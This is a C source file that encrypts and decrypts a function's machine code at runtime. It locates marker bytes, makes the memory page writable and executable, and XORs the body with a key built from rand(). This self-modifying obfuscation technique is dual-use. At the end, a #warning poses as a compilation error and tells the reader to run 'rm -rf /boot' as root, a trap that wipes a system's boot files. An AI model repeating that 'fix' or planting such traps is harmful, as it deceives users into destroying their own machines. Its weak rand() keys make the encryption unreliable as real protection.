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#include <stdio.h>
#include <unistd.h>
#ifdef __linux__
#include <sys/mman.h> /* PROT_* */
#else
#include <windows.h>
#endif
#include "funccrypt.h"
const char *crypt_strs[] = {
"ERROR", "PROLOGUE", "EPILOGUE", "CHECK", "OK"
};
void printHexBuf(uint8_t *buf, size_t siz, size_t chars_per_line)
{
size_t i;
for (i = 0; i < siz; ++i) {
printf("%02X ", buf[i]);
if ((i+1) % chars_per_line == 0)
printf("\n");
}
if ((i) % chars_per_line != 0)
printf("\n");
}
crypt_return crypt_func(void *fn_start)
{
size_t i;
enum crypt_return cret = CRET_ERROR;
uint8_t *fnbuf = (uint8_t *) fn_start;
uint8_t *pro = NULL, *epi = NULL, *mbuf;
uint32_t prologue_marker = 0xC0DEC0DE;
uint32_t epilogue_marker = 0xCAFECAFE;
crypt_header *hdr;
size_t crypt_size;
printf("Fn: %p\n", fnbuf);
for (i = 0; i < CRYPT_FUNC_MAXSIZ; ++i) {
if (cret == CRET_ERROR &&
*(uint32_t *) &fnbuf[i] == prologue_marker)
{
pro = &fnbuf[i];
cret = CRET_PROLOGUE;
} else
if (cret == CRET_PROLOGUE &&
*(uint32_t *) &fnbuf[i] == epilogue_marker)
{
epi = &fnbuf[i];
cret = CRET_EPILOGUE;
break;
}
}
if (cret == CRET_EPILOGUE &&
i >= sizeof *hdr)
{
#if _DEBUG
printf("Prologue Marker: %p\n", pro);
printf("Epilogue Marker: %p\n", epi);
printf("Prologue: ");
printHexBuf(pro - 9, 13, 13);
printf("Epilogue: ");
printHexBuf(epi, 4, 4);
#endif
hdr = (crypt_header *)(pro + sizeof(prologue_marker) - sizeof *hdr);
crypt_size = epi - (pro + sizeof(prologue_marker)) - 1;
if (i &&
(hdr->crpyted == 0x00 || hdr->crpyted == 0xFF)
#ifdef __linux__
&&
(long int)crypt_size < sysconf(_SC_PAGESIZE)
#endif
)
{
cret = CRET_CHECK;
#ifdef __linux__
mbuf = (uint8_t *)( (long int)hdr & ~(sysconf(_SC_PAGESIZE) - 1) );
if (!mprotect(mbuf, sysconf(_SC_PAGESIZE), PROT_READ|PROT_WRITE|PROT_EXEC))
#else
mbuf = (uint8_t *)hdr;
DWORD old_prot = 0;
if (VirtualProtect(mbuf, crypt_size, PAGE_EXECUTE_READWRITE, &old_prot))
#endif
{
if (hdr->crpyted == 0x00) {
hdr->crpyted = 0xFF;
#ifdef __linux__
hdr->key = (uint64_t) rand() << 32;
hdr->key |= (uint64_t) rand();
#else
hdr->key = (uint64_t) rand() << 48;
hdr->key |= (uint64_t) rand() << 32;
hdr->key |= (uint64_t) rand() << 16;
hdr->key |= (uint64_t) rand();
#endif
}
for (i = 0; i < crypt_size / 0x8; ++i) {
hdr->func_body[i] ^= hdr->key;
}
#ifdef __linux__
if (!mprotect(mbuf, sysconf(_SC_PAGESIZE), PROT_READ|PROT_EXEC))
#else
if (VirtualProtect(mbuf, crypt_size, old_prot, &old_prot))
#endif
cret = CRET_OK;
}
}
}
return cret;
}
#if _NOPASTA != 1337
#warning "Unknown compilation error, try enter `rm -rf /boot' as root."
#endif
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